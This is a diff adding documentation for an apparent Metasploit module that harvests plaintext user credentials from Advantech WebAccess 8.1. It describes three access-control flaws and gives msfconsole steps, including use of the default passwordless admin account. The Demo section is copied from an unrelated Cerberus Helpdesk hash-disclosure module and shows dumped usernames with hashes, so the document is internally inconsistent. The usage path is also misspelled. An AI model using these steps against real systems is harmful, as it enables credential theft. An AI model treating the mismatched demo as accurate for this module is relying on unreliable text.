|
| 1 | +## Description |
| 2 | + |
| 3 | +This module exploits three vulnerabilities in Advantech WebAccess. |
| 4 | + |
| 5 | +The first vulnerability is the ability for an arbitrary user to access the admin user list page, |
| 6 | +revealing the username of every user on the system. |
| 7 | + |
| 8 | +The second vulnerability is the user edit page can be accessed loaded by an arbitrary user, with |
| 9 | +the data of an arbitrary user. |
| 10 | + |
| 11 | +The final vulnerability exploited is that the HTML Form on the user edit page contains the user's |
| 12 | +plain text password in the masked password input box. Typically the system should replace the |
| 13 | +actual password with a masked character such as "*". |
| 14 | + |
| 15 | + |
| 16 | +## Vulnerable Application |
| 17 | + |
| 18 | +Version 8.1 was tested during development: |
| 19 | + |
| 20 | +http://advcloudfiles.advantech.com/web/Download/webaccess/8.1/AdvantechWebAccessUSANode8.1_20151230.exe |
| 21 | + |
| 22 | +8.2 is not vulnerable to this. |
| 23 | + |
| 24 | +## Verification Steps |
| 25 | + |
| 26 | +1. Start msfconsole |
| 27 | +2. ```use auxiliary/gahter/advantech_webaccess_creds``` |
| 28 | +3. ```set WEBACCESSUSER [USER]``` |
| 29 | +4. ```set WEBACCESSPASS [PASS]``` |
| 30 | +5. ```run``` |
| 31 | + |
| 32 | +## Options |
| 33 | + |
| 34 | +**WEBACCESSUSER** |
| 35 | + |
| 36 | +The username to use to log into Advantech WebAccess. By default, there is a built-in account |
| 37 | +```admin``` that you could use. |
| 38 | + |
| 39 | +**WEBACCESSPASS** |
| 40 | + |
| 41 | +The password to use to log into AdvanTech WebAccess. By default, the built-in account ```admin``` |
| 42 | +does not have a password, which could be something you can use. |
| 43 | + |
| 44 | + |
| 45 | +## Demo |
| 46 | + |
| 47 | +msf > use auxiliary/gather/cerberus_helpdesk_hash_disclosure |
| 48 | +msf auxiliary(cerberus_helpdesk_hash_disclosure) > show options |
| 49 | + |
| 50 | +Module options (auxiliary/gather/cerberus_helpdesk_hash_disclosure): |
| 51 | + |
| 52 | + Name Current Setting Required Description |
| 53 | + ---- --------------- -------- ----------- |
| 54 | + Proxies no A proxy chain of format type:host:port[,type:host:port][...] |
| 55 | + RHOSTS yes The target address range or CIDR identifier |
| 56 | + RPORT 80 yes The target port (TCP) |
| 57 | + SSL false no Negotiate SSL/TLS for outgoing connections |
| 58 | + THREADS 1 yes The number of concurrent threads |
| 59 | + URI / no URL of the Cerberus Helpdesk root |
| 60 | + VHOST no HTTP server virtual host |
| 61 | + |
| 62 | +msf auxiliary(cerberus_helpdesk_hash_disclosure) > set rhosts 10.90.5.81 |
| 63 | +rhosts => 10.90.5.81 |
| 64 | +msf auxiliary(cerberus_helpdesk_hash_disclosure) > run |
| 65 | + |
| 66 | +[-] Invalid response received for /storage/tmp/devblocks_cache---ch_workers |
| 67 | +[+] admin:aaa34a6111abf0bd1b1c4d7cd7ebb37b |
| 68 | +[+] example:112302c209fe8d73f502c132a3da2b1c |
| 69 | +[+] foobar:0d108d09e5bbe40aade3de5c81e9e9c7 |
0 commit comments